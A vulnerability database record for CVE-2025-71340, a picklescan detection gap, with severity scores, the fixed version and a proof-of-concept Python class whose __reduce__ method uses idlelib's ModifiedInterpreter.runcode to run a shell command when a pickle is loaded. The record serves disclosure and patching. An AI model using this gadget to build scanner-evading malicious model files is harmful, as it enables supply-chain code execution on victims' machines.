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Response snapshot Nov 3, 2026, 19:21 UTC

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VulnerabilityCVE-2025-71340

Picklescan is missing detection when calling built-in python idlelib.pyshell.ModifiedInterpreter.runcode

Using idlelib.pyshell.ModifiedInterpreter.runcode function, which is a built-in python library function to execute remote pickle file. The attack payload executes in the following steps: First, the attacker craft the payload by calling to idlelib.pyshell.ModifiedInterpreter.

At a glance

Exploited
Not known
Severity
7.6 High (CVSS 4.0)
Chance of exploitation
Not estimated
Sources
1 source

What to do

GitHub lists first patched versions: picklescan: 0.0.30. Confirm the affected range and upgrade guidance in the exact advisory.

Read GitHub-reviewed advisory GHSA-3gf5-cxq9-w223 (opens a new tab)

What happened

Summary

Using idlelib.pyshell.ModifiedInterpreter.runcode function, which is a built-in python library function to execute remote pickle file.

Details

The attack payload executes in the following steps:

Continue reading

First, the attacker craft the payload by calling to idlelib.pyshell.ModifiedInterpreter.runcode function in reduce method Then when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution.

PoC


from idlelib.pyshell import ModifiedInterpreter
from types import SimpleNamespace

class EvilIdlelibPyshellModifiedInterpreterRuncode:
 def __reduce__(self):
 payload = "__import__('os').system('whoami')"
 fake_self = SimpleNamespace(
 locals={},
 tkconsole=SimpleNamespace(
 executing=False,
 beginexecuting=str,
 canceled=False,
 closing=False,
 showtraceback=str,
 endexecuting=str,
 stderr=None,
 text=SimpleNamespace(),
 getvar=str
 ),
 rpcclt=None,
 debugger=None,
 checklinecache=str,
 active_seq=None,
 showtraceback=str,
 canceled=False,
 closing=False
 )
 return ModifiedInterpreter.runcode, (fake_self, payload)

Impact

Who is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models. What is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded. Supply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.

Corresponding

https://github.com/FredericDT https://github.com/Qhaoduoyu

Affected package ranges reported by GitHub: picklescan: < 0.0.30

Scores and how they were measured

CVSS base severity

7.6

Version 4.0As of

CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N

Measurement source (opens a new tab)

How bad it is if exploited. Not a prediction of exploitation or proof you are exposed.

EPSS probability

Not available

A model's estimate of exploitation in the next 30 days, not certainty or your own risk.

Related technology

Sources

  1. Primary source

    GitHub-reviewed advisory GHSA-3gf5-cxq9-w223 (opens a new tab)

    The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review.

    Published Checked

  2. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-3gf5-cxq9-w223, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

Cite this record

For factual claims, cite the primary sources above; cite KEVWire for its compilation, dates, and classifications.

APA

KEVWire. (2026, November 3). Picklescan is missing detection when calling built-in python idlelib.pyshell.ModifiedInterpreter.runcode (CVE-2025-71340). https://kevwire.com/record/CVE-2025-71340

MLA

"Picklescan is missing detection when calling built-in python idlelib.pyshell.ModifiedInterpreter.runcode (CVE-2025-71340)." KEVWire, 3 Nov. 2026, kevwire.com/record/CVE-2025-71340.

Chicago

KEVWire. "Picklescan is missing detection when calling built-in python idlelib.pyshell.ModifiedInterpreter.runcode (CVE-2025-71340)." Last modified November 3, 2026. https://kevwire.com/record/CVE-2025-71340.

Evidence summary (plain text)

Picklescan is missing detection when calling built-in python idlelib.pyshell.ModifiedInterpreter.runcode (Aug 26, 2025).
Using idlelib.pyshell.ModifiedInterpreter.runcode function, which is a built-in python library function to execute remote pickle file.

The attack payload executes in the following steps:

First, the attacker craft the payload by calling to idlelib.pyshell.ModifiedInterpreter.runcode function in reduce method
Then when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution.

Who is impacted?
CVSS 7.6 (version 4.0; evidence as of Nov 3, 2026; https://github.com/advisories/GHSA-3gf5-cxq9-w223).
Sources:
GitHub-reviewed advisory GHSA-3gf5-cxq9-w223: https://github.com/advisories/GHSA-3gf5-cxq9-w223
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc
Record ID: CVE-2025-71340.
Record origin: Ingested record.
AI evidence: Not assessed.
Known exploitation: Not assessed.
Zero-day status: Not assessed. KEV membership alone does not establish zero-day status.
About this data

This record was ingested from a data source. Retrieved: Nov 3, 2026, 19:00 UTC. Ingestion is not an independent editorial investigation.

A CISA KEV listing documents known exploitation, not necessarily a zero-day; absence from the catalog does not prove a vulnerability has never been exploited.

Technology tags indicate possible relevance, not verified exposure. Confirm the affected product, version, and configuration against your own inventory; KEVWire does not scan your systems.

A personal reading checklist on this device, not verified remediation.

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